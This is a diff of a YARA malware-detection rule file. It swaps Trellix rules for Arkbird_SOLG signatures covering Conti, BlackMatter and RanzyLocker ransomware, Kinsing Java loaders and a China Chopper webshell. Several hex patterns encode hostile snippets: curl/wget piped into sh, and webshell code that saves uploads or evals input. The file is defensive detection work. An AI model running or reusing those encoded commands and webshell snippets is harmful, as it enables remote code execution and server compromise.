+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-15/Conti/Ran_Conti_V3_Nov_2020_1.yar#L1-L22"
+		license_url = "N/A"
+		logic_hash = "c3c8530e1963c5af8ee93a5d2cc222abbeb3fb7e82ef6de2068795a38dca67aa"
+		score = 50
+		quality = 71
+		tags = "FILE"
+		level = "experimental"
+		hash1 = "707b752f6bd89d4f97d08602d0546a56d27acfe00e6d5df2a2cb67c5e2eeee30"
+		hash2 = "26b2401211769d2fa1415228b4b1305eeeed249a996d149ad83b6fc9c4f703ce"
+
+	strings:
+		$seq1 = { 83 ec 1c 68 80 00 00 00 68 54 21 40 00 ff 15 30 20 40 00 85 c0 0f 85 e9 00 00 00 56 57 68 48 21 40 00 89 44 24 14 89 44 24 10 c7 44 24 1c 17 00 00 00 c7 44 24 20 55 1e 00 00 c7 44 24 24 09 04 00 00 ff 15 34 20 40 00 8b 3d 3c 20 40 00 8b f0 68 34 21 40 00 56 ff d7 68 20 21 40 00 56 a3 e4 33 40 00 ff d7 a3 0c 36 40 00 8d 44 24 14 50 6a 03 8d 4c 24 20 51 68 00 00 40 00 ff 15 e4 33 40 00 85 c0 7c 1a 8b 4c 24 14 8d 54 24 0c 52 8d 44 24 14 50 51 68 00 00 40 00 ff 15 0c 36 40 00 68 18 21 40 00 ff 15 70 20 40 00 8b 54 24 10 83 c4 04 50 68 00 10 00 00 52 6a 00 ff 15 38 20 40 00 8b 4c 24 10 8b f0 8b 44 24 0c 50 51 56 e8 4a 00 00 00 8d 54 24 14 52 }
+		$seq2 = { 8b 4c 24 24 8d 44 24 20 50 51 56 e8 1d fe ff ff 83 c4 24 ff d6 8b 54 24 28 5f 89 15 08 36 40 00 5e 33 c0 83 c4 }
+		$s1 = { 3e 35 44 35 4c 35 53 35 58 35 5e 35 64 35 6c 35 72 35 79 35 }
+		$s2 = { 31 07 32 0d 32 25 32 2b 32 30 32 36 32 4c 32 6a 32 }
+		$s3 = "_invoke_watson" fullword ascii
+		$s4 = { 8b 2d bc 36 40 00 0f b6 04 2f 0f b6 da 8b 54 24 14 0f b6 14 13 8d 0c 2f 03 d6 03 c2 99 be 40 03 00 00 f7 fe 0f b6 f2 8d 04 2e e8 7f ff ff ff 8d 43 01 99 f7 7c 24 18 47 81 ff 40 }
 
 	condition:
-		$mz in (0..2) and all of ($sink*) and $boot
+		uint16(0)==0x5a4d and filesize >100KB and all of ($seq*) and 2 of ($s*)
 }
-rule TRELLIX_ARC_Alina_POS_PDB : POS FILE
+rule ARKBIRD_SOLG_Ran_Conti_V3_Nov_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect Alina POS"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "9588aa10-d5e4-55f4-998c-a01503a53d3a"
-		date = "2013-08-08"
-		modified = "2020-08-14"
-		reference = "https://www.pandasecurity.com/mediacenter/pandalabs/alina-pos-malware/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_alina_pos_pdb.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "28b0c52c0630c15adcc857d0957b3b8002a4aeda3c7ec40049014ce33c7f67c3"
-		logic_hash = "9bb8260e3a47567e2460dd474fb74e57987e3d79eb30cdbc2a45b88a16ba1ca2"
-		score = 75
-		quality = 70
-		tags = "POS, FILE"
-		rule_version = "v1"
-		malware_type = "pos"
-		malware_family = "Pos:W32/Alina"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect Conti V3 ransomware"
+		author = "Arkbird_SOLG"
+		id = "89702af3-664a-5c4a-8d2b-f195f5dddb6f"
+		date = "2020-12-15"
+		modified = "2020-12-15"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-15/Conti/Ran_Conti_V3_Nov_2020_1.yar#L24-L43"
+		license_url = "N/A"
+		logic_hash = "2c8f2fd9b155bb4fdb1304b4d7f683bc679780d079d8bbe4fb308f94769f1392"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		level = "experimental"
+		hash1 = "f092b985b75a702c784f0936ce892595b91d025b26f3387a712b76dcc3a4bc81"
+		hash2 = "35ccc2b71567570bcac62e2f268faca50fa95fad6ac69e74f40856eb8f9ab03d"
 
 	strings:
-		$pdb = "\\Users\\dice\\Desktop\\SRC_adobe\\src\\grab\\Release\\Alina.pdb"
+		$seq1 = { 45 8c 00 8d 4d 8c c6 45 8d 7e c6 45 8e 4c c6 45 8f 0e c6 45 90 2c c6 45 91 4d c6 45 92 57 c6 45 93 13 c6 45 94 5d c6 45 95 08 c6 45 96 4c c6 45 97 77 c6 45 98 77 89 85 54 ff ff ff c6 45 99 6e 8a 45 8d e8 9f 0b 00 00 6a 6b 68 a8 21 3d be ba 0f 00 00 00 8b f0 e8 3c 3e 00 00 83 c4 08 56 ff d0 c6 45 f4 00 c6 45 f5 5a c6 45 f6 49 c6 45 f7 4c c6 45 f8 0b c6 45 f9 0b c6 45 fa 66 c6 45 fb 4c c6 45 fc 0b c6 45 fd 0b c6 45 fe 3f 89 85 50 ff ff ff 8a 45 f5 80 7d f4 00 75 2b 33 c9 66 0f 1f 84 00 00 00 00 00 8a 44 0d f5 0f b6 c0 83 e8 3f 6b c0 25 99 f7 fb 8d 42 7f 99 f7 fb 88 54 0d f5 41 83 f9 0a 72 e0 6a 6b 68 a8 21 3d be ba 0f 00 00 00 e8 bf 3d 00 00 83 c4 08 8d 4d f5 51 ff d0 c6 85 7c ff ff ff 00 8d 8d 7c ff ff ff c6 85 7d ff ff ff 48 c6 85 7e ff ff ff 17 c6 85 7f ff ff ff 3c c6 45 80 71 c6 45 81 3c c6 45 82 37 c6 45 83 57 c6 45 84 71 c6 45 85 0a c6 45 86 67 c6 45 87 12 c6 45 88 12 89 85 3c }
+		$seq2 = { 6c ff ff ff 00 8d 8d 6c ff ff ff c6 85 6d ff ff ff 02 c6 85 6e ff ff ff 17 c6 85 6f ff ff ff 72 c6 85 70 ff ff ff 3a c6 85 71 ff ff ff 16 c6 85 72 ff ff ff 73 c6 85 73 ff ff ff 10 c6 85 74 ff ff ff 78 c6 85 75 ff ff ff 1c c6 85 76 ff ff ff 00 c6 85 77 ff ff ff 39 c6 85 78 ff ff ff 39 89 85 48 ff ff ff c6 85 79 ff ff ff 71 8a 85 6d ff ff ff e8 1d 08 00 00 6a 6b 68 a8 21 3d }
+		$seq3 = { 8b d9 89 9d b8 fd ff ff c7 85 d4 fd ff ff 0b 01 00 00 c7 85 d8 fd ff ff 0b 02 00 00 c6 85 c4 fd ff ff 00 c6 85 c5 fd ff ff 19 c6 85 c6 fd ff ff 0d c6 85 c7 fd ff ff 27 c6 85 c8 fd ff ff 1f c6 85 c9 fd ff ff 0d c6 85 ca fd ff ff 1b c6 85 cb fd ff ff 28 c6 85 cc fd ff ff 26 c6 85 cd fd ff ff 1e c6 85 ce fd ff ff 0b c6 85 cf fd ff ff 1b c6 85 d0 fd ff ff 1b 8d 8d c4 fd ff ff c6 85 d1 fd }
+		$seq4 = { c6 85 00 ff ff ff 00 c6 85 01 ff ff ff 4b c6 85 02 ff ff ff 1f c6 85 03 ff ff ff 35 c6 85 04 ff ff ff 1f c6 85 05 ff ff ff 23 c6 85 06 ff ff ff 1f c6 85 07 ff ff ff 68 c6 85 08 ff ff ff 1f c6 85 09 ff ff ff 38 c6 85 0a ff ff ff 1f c6 85 0b ff ff ff 10 c6 85 0c ff ff ff 1f c6 85 0d ff ff ff 66 c6 85 0e ff ff ff 1f c6 85 0f ff ff ff 2a c6 85 10 ff ff ff 1f c6 85 11 ff ff ff 43 c6 85 12 ff ff ff 1f c6 85 13 ff ff ff 23 c6 85 14 ff ff ff 1f c6 85 15 ff ff ff 10 c6 85 16 ff ff ff 1f c6 85 17 ff ff ff 07 c6 85 18 ff ff ff 1f c6 85 19 ff ff ff 51 c6 85 1a ff ff ff 1f c6 85 1b ff ff ff 1c c6 85 1c ff ff ff 1f c6 85 1d ff ff ff 43 c6 85 1e ff ff ff 1f c6 85 1f ff ff ff 10 c6 85 20 ff ff ff 1f c6 85 21 ff ff ff 61 c6 85 22 ff ff ff 1f c6 85 23 ff ff ff 74 c6 85 24 ff ff ff 1f c6 85 25 ff ff ff 41 c6 85 26 ff ff ff 1f c6 85 27 ff ff ff 10 c6 85 28 ff ff ff 1f c6 85 29 ff ff ff 59 c6 85 2a ff ff ff 1f c6 85 2b ff ff ff 43 c6 85 2c ff ff ff 1f c6 85 2d ff ff ff 38 c6 85 2e ff ff ff 1f c6 85 2f ff ff ff 2b c6 85 30 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and any of them
+		uint16(0)==0x5a4d and filesize >80KB and all of ($seq*)
 }
-rule TRELLIX_ARC_Dropper_Demekaf_Pdb : DROPPER FILE
+rule ARKBIRD_SOLG_Loader_JAVA_Kinsing_Aug_2020_Variant_A_1 : FILE
 {
 	meta:
-		description = "Rule to detect Demekaf dropper based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "b49f42c1-d737-5afa-b547-7268e4cde360"
-		date = "2011-03-26"
-		modified = "2020-08-14"
-		reference = "https://v.virscan.org/Trojan-Dropper.Win32.Demekaf.html"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_dropper_demekaf_pdb.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "fab320fceb38ba2c5398debdc828a413a41672ce9745afc0d348a0e96c5de56e"
-		logic_hash = "89c0c1da1f8997b12a446c93bbde200e62fac9cab2a9a17147b268d435bdc3b6"
+		description = "Detect Kinsing Variant A"
+		author = "Arkbird_SOLG"
+		id = "470fd4a6-faba-52b5-8ffa-5ac33fb607a0"
+		date = "2020-08-28"
+		modified = "2020-08-29"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1299222198574632961"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-28/Loader_JAVA_Kinsing_Aug_2020_1.yar#L2-L30"
+		license_url = "N/A"
+		logic_hash = "a9654b67ca6fb5de23d385707f01196d6d1c85e527d2bdbe312a2b2fcf998dc0"
 		score = 75
-		quality = 70
-		tags = "DROPPER, FILE"
-		rule_version = "v1"
-		malware_type = "dropper"
-		malware_family = "Dropper:W32/Demekaf"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 67
+		tags = "FILE"
+		hash1 = "22063638b9f05870e14110ccab9e07d744204360b184cfec0075f9fd27e08488"
+		hash2 = "248dd35d069d6b106b7528e41f95cd8cef0140fbb60808aa51c99ac117cf3318"
+		hash3 = "6ec5b8ea86d0af908182d6afc63c85a817e0612dba6e5e4b126b5639ab048b16"
+		hash4 = "b82d9e0ea2b6139438ce0b805fb03c3ae89ada9d4fdd7722562e6075f706048c"
 
 	strings:
-		$pdb = "\\vc\\res\\fake1.19-jpg\\fake\\Release\\fake.pdb"
+		$ClassCode1 = { 4c 69 66 45 78 70 2e 6a 61 76 61 0c 00 3f 00 40 }
+		$ClassCode2 = "java/lang/StringBuilder" fullword ascii
+		$ClassCode3 = "java/net/URL" fullword ascii
+		$ClassCode4 = "java/net/URLConnection" fullword ascii
+		$ClassCode5 = { 6a 61 76 61 2f 6c 61 6e 67 2f 50 72 6f 63 65 73 73 42 75 69 6c 64 65 72 01 00 02 2e 2f }
+		$Com1 = { 52 75 6E 74 69 6D 65 2E 67 65 74 52 75 6E 74 69 6D 65 28 29 2E 65 78 65 63 28 6E 65 77 20 53 74 72 69 6E 67 5B 5D 20 7B 20 22 2F 62 69 6E 2F 62 61 73 68 22 2C 20 22 2D 63 22 2C 20 22 63 75 72 6C 20 22 20 2B 20 73 20 2B 20 22 7C 73 68 22 20 7D }
+		$Com2 = { 52 75 6E 74 69 6D 65 2E 67 65 74 52 75 6E 74 69 6D 65 28 29 2E 65 78 65 63 28 6E 65 77 20 53 74 72 69 6E 67 5B 5D 20 7B 20 22 2F 62 69 6E 2F 62 61 73 68 22 2C 20 22 2D 63 22 2C 20 22 77 67 65 74 20 2D 71 20 2D 4F 20 2D 20 22 20 2B 20 73 20 2B 20 22 7C 73 68 22 20 7D }
+		$Com3 = "chmod +x " fullword ascii
+		$Com4 = { 53 4b 4c 01 00 02 6c 66 }
+		$s1 = "User-Agent" fullword ascii
+		$s2 = "kinsing" fullword ascii
+		$s3 = { 6f 73 2e 6e 61 6d 65 }
+		$s4 = "getAbsolutePath" fullword ascii
+		$s5 = { 6f 70 65 6e 43 6f 6e 6e 65 63 74 69 6f 6e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and any of them
+		filesize <1KB and 4 of ($ClassCode*) and 3 of ($Com*) and 3 of ($s*)
 }
-rule TRELLIX_ARC_Havex_Backdoor_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_Loader_JAVA_Kinsing_Aug_2020_Variant_B_1 : FILE
 {
 	meta:
-		description = "Rule to detect backdoor Havex based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "a667bb4e-8c38-59a6-8ae0-09c44961a687"
-		date = "2012-11-17"
-		modified = "2020-08-14"
-		reference = "https://www.f-secure.com/v-descs/backdoor_w32_havex.shtml"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_backdoor_havex_pdb.yar#L1-L26"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "0f4046be5de15727e8ac786e54ad7230807d26ef86c3e8c0e997ea76ab3de255"
-		logic_hash = "dc50475b1ff2194306a0295f71860e4cc5ae7e126daa5d401b98cd2a0aadf1dd"
+		description = "Detect Kinsing Variant B"
+		author = "Arkbird_SOLG"
+		id = "7e0f9826-806c-5801-aab5-d2a8dba4e206"
+		date = "2020-08-28"
+		modified = "2020-08-29"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1299222198574632961"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-28/Loader_JAVA_Kinsing_Aug_2020_1.yar#L32-L52"
+		license_url = "N/A"
+		logic_hash = "5862d02b4e57024aa1c00b0a10ac9ee1a733890cf7d5b9ec7586f0506af113fc"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Havex"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "e1471e8f9c1aa1457f819c0565a3444c53d3ec5fadf9f52ae988fde8e2d3a960"
+		hash2 = "e70ea87d00567d33e20ed8649ef532eda966a8b5b1e83ea19728528d991eaaa0"
 
 	strings:
-		$pdb = "\\Workspace\\PhalangX 3D\\Src\\Build\\Release\\Phalanx-3d.ServerAgent.pdb"
-		$pdb1 = "\\Workspace\\PhalangX 3D\\Src\\Build\\Release\\Tmprovider.pdb"
+		$ClassCode1 = { 4c 69 66 45 78 70 2e 6a 61 76 61 0c 00 3f 00 40 }
+		$ClassCode2 = "java/lang/StringBuilder" fullword ascii
+		$ClassCode3 = "java/net/URL" fullword ascii
+		$ClassCode4 = { 6a 61 76 61 2f 6c 61 6e 67 2f 50 72 6f 63 65 73 73 42 75 69 6c 64 65 72 01 00 02 2e 2f }
+		$Com1 = "chmod +x " fullword ascii
+		$Com2 = { 53 4b 4c 01 00 02 6c 66 }
+		$s1 = "kinsing" fullword ascii
+		$s2 = "getAbsolutePath" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and any of them
+		filesize <1KB and 3 of ($ClassCode*) and 1 of ($Com*) and 2 of ($s*)
 }
-rule TRELLIX_ARC_Shifu : FINANCIAL
+rule ARKBIRD_SOLG_APT_UNC2452_Webshell_Chopper_Mar_2021_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Trellix ARC"
-		author = "McAfee Labs"
-		id = "81e9ad25-1df0-5196-be8b-1d1d5d8e4387"
-		date = "2024-08-01"
-		modified = "2020-08-14"
-		reference = "https://blogs.mcafee.com/mcafee-labs/japanese-banking-trojan-shifu-combines-malware-tools/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_Shifu.yar#L1-L24"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "dfa6165f8d2750330c71dedbde293780d2bb27e8eb3635e47ca770ff7b9a9d63"
+		description = "Detect exploit listener in the exchange configuration for Webshell Chopper used by UNC2452 group"
+		author = "Arkbird_SOLG"
+		id = "174af8e1-0df0-5ad7-ac7d-a208f64cb765"
+		date = "2021-03-07"
+		modified = "2021-03-07"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-07/UNC2452/APT_UNC2452_Webshell_Chopper_Mar_2021_1.yar#L1-L26"
+		license_url = "N/A"
+		logic_hash = "77bd7e5c10aa9cf2b407b37a76954b4eed163e36653e1fb3cde5de853f824cf0"
 		score = 75
-		quality = 70
-		tags = "FINANCIAL"
-		malware_type = "financial"
-		malware_family = "Backdoor:W32/Shifu"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 73
+		tags = "FILE"
 
 	strings:
-		$b = "RegCreateKeyA"
-		$a = "CryptCreateHash"
-		$c = {2F 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 22 00 22 00 20 00 22 00 25 00 73 00 22 00 20 00 25 00 73 00 00 00 00 00 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 00 72 00 75 00 6E}
-		$d = {53 00 6E 00 64 00 56 00 6F 00 6C 00 2E 00 65 00 78 00 65}
-		$e = {52 00 65 00 64 00 69 00 72 00 65 00 63 00 74 00 45 00 58 00 45}
+		$l1 = { 20 68 74 74 70 3a 2f 2f ?? 2f 3c 73 63 72 69 70 74 20 4c 61 6e 67 75 61 67 65 3d 22 63 23 22 20 72 75 6e 61 74 3d 22 73 65 72 76 65 72 22 3e 76 6f 69 64 20 50 61 67 65 5f 4c 6f 61 64 28 6f 62 6a 65 63 74 20 73 65 6e 64 65 72 2c 20 45 76 65 6e 74 41 72 67 73 20 65 29 7b 69 66 20 28 52 65 71 75 65 73 74 2e 46 69 6c 65 73 2e 43 6f 75 6e 74 21 3d 30 29 20 7b 20 52 65 71 75 65 73 74 2e 46 69 6c 65 73 5b 30 5d 2e 53 61 76 65 41 73 28 53 65 72 76 65 72 2e 4d 61 70 50 61 74 68 28 22 [5-14] 22 29 29 3b 7d 7d 3c 2f 73 63 72 69 70 74 3e }
+		$l2 = { 68 74 74 70 3a 2f 2f ?? 2f 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 53 63 72 69 70 74 22 20 72 75 6e 61 74 3d 22 73 65 72 76 65 72 22 3e 66 75 6e 63 74 69 6f 6e 20 50 61 67 65 5f 4c 6f 61 64 28 29 7b 65 76 61 6c 28 [-] 2c 22 75 6e 73 61 66 65 22 29 3b 7d 3c 2f 73 63 72 69 70 74 3e }
+		$c1 = { 5c 4f 41 42 20 28 44 65 66 61 75 6c 74 20 57 65 62 20 53 69 74 65 29 }
+		$c2 = "ExternalUrl" fullword ascii
+		$c3 = { 49 49 53 3a 2f 2f [10-30] 2f 57 33 53 56 43 2f [1-3] 2f 52 4f 4f 54 2f 4f 41 42 }
+		$c4 = "FrontEnd\\HttpProxy\\OAB" fullword ascii
+		$c5 = "/Configuration/Schema/ms-Exch-OAB-Virtual-Directory" fullword ascii
 
 	condition:
-		all of them
+		filesize >1KB and 1 of ($l*) and 3 of ($c*)
 }
-rule TRELLIX_ARC_Malw_Browser_Fox_Adware : ADWARE FILE
+rule ARKBIRD_SOLG_RAN_Blackmatter_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Browser Fox Adware based on the PDB reference"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "67d20c3a-4e9d-5fbf-b26a-d7b5fb270d12"
-		date = "2015-01-15"
-		modified = "2020-08-14"
-		reference = "https://www.sophos.com/en-us/threat-center/threat-analyses/adware-and-puas/Browse%20Fox.aspx"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_browser_fox_adware.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "c6f3d6024339940896dd18f32064c0773d51f0261ecbee8b0534fdd9a149ac64"
-		logic_hash = "462a05de46ec0d710cac80a05d4935279a43f49cbd5ef49c072f277982a76fce"
-		score = 75
-		quality = 70
-		tags = "ADWARE, FILE"
-		rule_version = "v1"
-		malware_type = "adware"
-		malware_family = "Adware:W32/BrowserFox"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect BlackMatter ransomware"
+		author = "Arkbird_SOLG"
+		id = "eb308cde-af92-5b34-b256-88009f90810f"
+		date = "2021-08-02"
+		modified = "2021-08-02"
+		reference = "https://twitter.com/abuse_ch/status/1421834305416933376"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-01/Blackmatter/RAN_BlackMatter_Aug_2021_1.yara#L1-L23"
+		license_url = "N/A"
+		logic_hash = "ff158ce977eb10f36c9e8a032dd3880fcd5ecc09e9cc07cd27b98bbce5661d75"
+		score = 50
+		quality = 71
+		tags = "FILE"
+		hash1 = "22d7d67c3af10b1a37f277ebabe2d1eb4fd25afbd6437d4377400e148bcc08d6"
+		hash2 = "7f6dd0ca03f04b64024e86a72a6d7cfab6abccc2173b85896fc4b431990a5984"
+		level = "Experimental"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$pdb = "\\Utilities\\130ijkfv.o4g\\Desktop\\Desktop.OptChecker\\bin\\Release\\ BooZaka.Opt"
+		$s1 = { 55 8b ec 81 ec ac 02 00 00 53 51 52 56 57 c7 45 fc 00 00 00 00 c7 45 f4 00 00 00 00 c7 45 f0 00 00 00 00 c7 45 ec 00 00 00 00 6a 00 ff 15 00 15 41 00 85 c0 0f 85 3e 04 00 00 8d 45 d4 50 6a 00 6a 00 6a 00 6a 00 6a 00 ff 15 84 15 41 00 85 c0 0f 85 1c 04 00 00 8d 85 7c ff ff ff c7 00 b1 5f 5a 22 c7 40 04 c8 5f 75 22 c7 40 08 b1 5f 06 22 b9 03 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8b 7d 08 8b 4d d4 8d 45 f8 50 6a 00 6a 00 6a 00 6a 00 6a 02 ff 71 1c ff 15 88 15 41 00 85 c0 75 6d 8d 45 dc 50 6a 00 6a 00 ff 75 f8 ff 15 8c 15 41 00 85 }
+		$s2 = { 8d 45 88 c7 00 a1 5f 42 22 c7 40 04 ac 5f 56 22 c7 40 08 d7 5f 29 22 c7 40 0c c2 5f 45 22 c7 40 10 a3 5f 3b 22 c7 40 14 ae 5f 69 22 c7 40 18 80 5f 76 22 c7 40 1c 98 5f 72 22 c7 40 20 88 5f 74 22 c7 40 24 9e 5f 2a 22 c7 40 28 ed 5f 06 22 b9 0b 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 88 50 8d 85 54 fd ff ff 50 ff 15 dc 12 41 00 83 c4 08 ff 75 cc 8d 85 54 fd ff ff 50 ff 15 d8 12 41 00 83 c4 08 8d 45 ec 50 8d 85 5c ff ff ff 50 6a 01 6a 00 6a 00 8d 85 54 fd ff ff 50 ff 15 98 15 41 00 }
+		$s3 = { 8d 45 b4 c7 00 21 0a 83 e9 c7 40 04 c5 ce d7 33 c7 40 08 40 c4 06 e2 c7 40 0c a2 87 fb dd b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 a4 c7 00 6a f9 14 fe c7 40 04 92 2c c9 33 c7 40 08 65 12 06 88 c7 40 0c ed 14 28 06 b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 94 c7 00 75 39 4d 45 c7 40 04 7f b1 d6 33 c7 40 08 40 2e 06 e2 c7 40 0c a2 87 fb dd b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 84 c7 00 99 f9 aa 66 c7 40 04 11 b7 d6 33 c7 40 08 4d 23 06 e2 c7 40 0c a2 e9 8e 02 b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 85 b8 fe ff ff c7 00 b2 5f 59 22 c7 40 04 bd 5f 74 22 c7 40 08 82 5f 70 22 c7 40 0c 84 5f 62 22 c7 40 10 88 5f 74 22 c7 40 14 ac 5f 74 22 c7 40 18 8e 5f 6e 22 c7 40 1c 84 5f 72 22 c7 40 20 88 5f 65 22 c7 40 24 99 5f 73 22 c7 40 28 9f 5f 63 22 c7 40 2c ed 5f 06 22 b9 0c 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 85 6c ff ff ff c7 00 bf 5f 49 22 c7 40 04 a2 5f 52 22 c7 40 08 b1 5f 45 22 c7 40 0c a4 5f 4b 22 c7 40 10 bb 5f 34 22 c7 40 14 ed 5f 06 22 b9 06 00 00 }
+		$s4 = { 8d bd fc fe ff ff 32 c0 aa b9 2a 00 00 00 b0 ff f3 aa b0 3e aa b9 03 00 00 00 b0 ff f3 aa b0 3f aa b9 0a 00 00 00 b0 34 aa fe c0 e2 fb b9 03 00 00 00 b0 ff f3 aa 32 c0 aa b9 03 00 00 00 b0 ff f3 aa }
+		$s5 = { 35 35 35 4f 35 58 35 22 36 35 36 3f 36 2c 37 3f 37 60 37 76 37 }
+		$s6 = { 3d 2b 3d 47 3d 4d 3d 60 3d 67 3d 6d 3d }
+		$s7 = { 8b 0e 0f b6 d1 0f b6 dd 57 8d bd fc fe ff ff 8a 04 3a 8a 24 3b c1 e9 10 83 c6 04 0f b6 d1 0f b6 cd 8a 1c 3a 8a 3c 39 5f 8a d4 8a f3 c0 e0 02 c0 eb 02 c0 e6 06 c0 e4 04 c0 ea 04 0a fe 0a c2 0a e3 88 07 88 7f 02 88 67 01 ff 4d fc }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and any of them
+		uint16(0)==0x5A4D and filesize >25KB and 5 of ($s*)
 }
-rule TRELLIX_ARC_Festi_Botnet_Pdb : BOTNET FILE
+rule ARKBIRD_SOLG_Ran_Ranzylocker_Hunting_Mar_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the Festi botnet based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "02f4149d-b8ac-5852-8cbe-c47f4cddcba6"
-		date = "2013-03-04"
-		modified = "2020-08-14"
-		reference = "https://www.welivesecurity.com/2012/05/11/king-of-spam-festi-botnet-analysis/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_festi_botnet_pdb.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "e55913523f5ae67593681ecb28d0fa1accee6739fdc3d52860615e1bc70dcb99"
-		logic_hash = "46e2576900fe94d614a683d4f09079b7ac78654079b2e558d076bcb42db4bf11"
-		score = 75
-		quality = 70
-		tags = "BOTNET, FILE"
-		rule_version = "v1"
-		malware_type = "botnet"
-		malware_family = "Botnet:W32/Festi"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect RanzyLocker ransomware"
+		author = "Arkbird_SOLG"
+		id = "0d0c743b-9beb-5413-b5ba-dad75c2ee0b7"
+		date = "2021-03-16"
+		modified = "2021-03-17"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-16/RanzyLocker/Ran_RanzyLocker_Hunting_Mar_2021_1.yar#L1-L24"
+		license_url = "N/A"
+		logic_hash = "ec7867e40e4418bb662c8cf5a71566cd261d2040ee5d3afa0bbe2b92ebfef98e"
+		score = 50
+		quality = 53
+		tags = "FILE"
+		hash1 = "5d0af3bf0dc7d99fc87d844a0fcd99796b9257ba02d78510422c498d445f0d0d"
 
 	strings:
-		$pdb = "\\eclipse\\botnet\\drivers\\Bin\\i386\\kernel.pdb"
+		$s1 = "-nolan" fullword wide
+		$s2 = { 34 33 33 41 35 43 35 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 34 36 36 39 36 43 36 35 37 33 32 30 32 38 37 38 33 38 33 36 32 39 35 43 34 44 36 39 36 33 37 32 36 46 37 33 36 46 36 36 37 34 32 30 35 33 35 31 34 43 32 30 35 33 36 35 37 32 37 36 36 35 37 32 }
